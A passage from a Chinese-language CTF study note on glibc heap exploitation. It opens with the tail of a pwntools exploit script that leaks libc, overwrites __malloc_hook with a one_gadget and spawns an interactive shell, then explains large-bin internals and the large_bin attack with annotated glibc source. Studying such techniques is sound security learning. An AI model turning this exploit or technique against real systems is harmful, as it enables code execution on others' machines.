p.recvuntil(“Index: “)
p.sendline(str(idx))
p.recvuntil(“Size: “)
p.sendline(str(size))
p.recvuntil(“Content: “)
p.sendline(content)

def delet(idx):
p.recvuntil(“Command: “)
p.sendline(str(3))
p.recvuntil(“Index: “)
p.sendline(str(idx))

def show(idx):
p.recvuntil(“Command: “)
p.sendline(str(4))
p.recvuntil(“Index: “)
p.sendline(str(idx))

add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)

delet(1)
delet(2)
#dbg()

pay=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,len(pay),pay)

pay=p64(0)*3+p64(0x21)
edit(3,len(pay),pay)
#dbg()

add(0x10)
add(0x10)#2
#dbg()

pay=b”a”*0x18+p64(0x91)
edit(3,len(pay),pay)
add(0x80)#避免top chunk合并
delet(4)
show(2)

hook=u64(p.recvuntil(b”\x7f”)[-6:].ljust(8,b”\x00”))-0x58-0x10
libc=LibcSearcher(‘__malloc_hook’,hook)
libc_base=hook-libc.dump(“__malloc_hook”)
print(“malloc_hook:”+hex(hook))
print(hex(libc_base))
#dbg()

add(0x60)
delet(4) #将0x80的块分成0x60在fastbin中,0x20在unsortedbin中
#dbg()

payload = p64(hook - 0x23)#改fd
edit(2,len(payload),payload)
add(0x60)
add(0x60)

payload = b’a’*(3+0x10)
payload += p64(libc_base+0x4526a)
edit(6,len(payload),payload)
add(16)

p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40





## large_bin

64位是0x400字节 32位是最小0x200字节

每个arena中放置不同大小的bin

![image-20251124194559754](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251124194559754.png)

`fd_nextsize/bk_nextsize` 构成一条**“按 size 去重后的有序索引链”**,是组之间的指针

只有**每个 size 组的第一个 chunk(head)**会进 nextsize 链

同 size 的其他 chunk:

- 只用 fd/bk 挂在该 size 组旁边
- 它们的 `fd_nextsize/bk_nextsize` 在不少版本里是 `0`(或不参与逻辑)

从 `bin->fd` 往 `fd` 走,chunk size **越来越小**;

从 `bin->bk` 往 `bk` 走,chunk size **越来越大**。

![image-20251124174037146](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251124174037146.png)

在同一组内

和unsorted_bin的chunk相同,最先释放的chunk作为对应index的chunk的头节点,只有最开始的chunk的mextsize指针起作用





### large_bin attack

源码分析(插入)

else//arena(av)》 bin头 <-> A(0x470) <-> B(0x460 head) <-> C(0x460) <-> D(0x450 head) <-> bin头
//每个arena中还有一个nextsize链

        {//先定位 victim 属于哪个 largebin
          victim_index = largebin_index (size);
          bck = bin_at (av, victim_index);//bck 先指向 该 largebin 的 bin 头(哨兵,不是 chunk)
          fwd = bck->fd;//bin 头在 fd/bk 总链里指向的第一个 chunk(链首)A

          if (fwd != bck)
            {
              size |= PREV_INUSE;
              assert (chunk_main_arena (bck->bk));//检查arena中的最小的chunk确实属于该arena

//为arena中最小时
if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
//改变 victim 在 nextsize 链中的前后指针
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
//不是arena中最小的chunk时
else
{
assert (chunk_main_arena (fwd));
//在 nextsize(head 链)里定位插入点 fwd
while ((unsigned long) size < chunksize_nomask (fwd))//一直跳到 第一个 size 不再大于 victim 的 head 为止
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

                    //判断是否同 size → 决定“组内插入”还是“新建 head”
                  if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))
                    fwd = fwd->fd;
                  else//新建,把victim插入到 fwd 前面
                    {
                      victim->fd_nextsize = fwd;
                      victim->bk_nextsize = fwd->bk_nextsize;
                      if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                        malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                      fwd->bk_nextsize = victim;
                      victim->bk_nextsize->fd_nextsize = victim;
                    }
                  bck = fwd->bk;
                  if (bck->fd != fwd)
                    malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                }
            }
1
2
3
4
5
6
7

![image-20251125100425363](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251125100425363.png)



**这 5 行是在“伪造 largebin 里 p2 的元数据”**

p2[-1] = 0x3f1; // 伪造 p2.size 变小
p2[0] = 0; // 伪造 p2.fd
p2[2] = 0; // 伪造 p2.fd_nextsize
p2[1] = (unsigned long)(&stack_var1 - 2); // 伪造 p2.bk
p2[3] = (unsigned long)(&stack_var2 - 4); // 伪造 p2.bk_nextsize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

**此时 p2 是已经 free、并且已经在 largebin 里的 chunk。**
你假设有漏洞能改它的头部指针,这 5 行就是“漏洞写出来的效果”。

它们的目的只有三件事:

1. **把 p2.size 改小**
→ 让后面插入的大块 p3 变成“更大的新head”,走可利用分支
2. **把 p2.bk 伪造成栈上 stack_var1 附近**
→ 让插入时的 `bck->fd = victim` 写到 stack_var1
3. **把 p2.bk_nextsize 伪造成栈上 stack_var2 附近**
→ 让插入时的 `victim->bk_nextsize->fd_nextsize = victim` 写到 stack_var2

`-2` 和 `-4` 是为了对齐字段偏移(fd 在 +0x10、fd_nextsize 在 +0x20)。

**接下来的 `malloc(0x90)` 是触发点**

malloc(0x90);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

这次 malloc 并不是为了拿到 0x90 的块本身,而是为了让 glibc 做两件事:

**整理 unsorted bin**

在你前面的步骤里:

- p3 free 过,当前在 **unsorted bin**
- p2 已经在 **largebin**

malloc 时 glibc 会扫描 unsorted,把其中的大块按规则搬去 small/large bins。

**把 p3 插入 largebin**

因为 p3 是大块,最终会被当作 **victim** 插入 largebin。

此时 largebin 里有一个“被你改小 size 的 p2”,
所以对 glibc 来说:

- p2 看起来更小
- p3 看起来更大
→ p3 插入时走 **“新size组head插入nextsize链”的分支**

这会必然触发两处写。

**写点①:覆盖 stack_var2**

largebin 插入新 head 时会执行:

victim->bk_nextsize->fd_nextsize = victim;

1
2
3

你伪造了:

victim->bk_nextsize = p2->bk_nextsize = &stack_var2 - 4

1
2
3

所以这句变成:

(&stack_var2 - 4)->fd_nextsize = victim

1
2
3
4

而 `fd_nextsize` 字段恰好是偏移 0x20(=4个qword),
于是**正好写到 stack_var2 上**:

stack_var2 = victim (= p3的chunk地址)

1
2
3
4
5

**写点②:覆盖 stack_var1**

同一次插入还会执行总链回填:

bck = fwd->bk; // fwd 会落在 p2 附近
bck->fd = victim;

1
2
3

你伪造了:

fwd->bk = p2->bk = &stack_var1 - 2
=> bck = &stack_var1 - 2

1
2
3

于是:

(&stack_var1 - 2)->fd = victim

1
2
3
4

`fd` 字段偏移是 0x10(=2个qword),
所以**正好写到 stack_var1 上**:

stack_var1 = victim (= p3的chunk地址)


![image-20251125100940754](https://cdn.jsdelivr.net/gh/zach0ry-zzh/Inage//test/image-20251125100940754.png)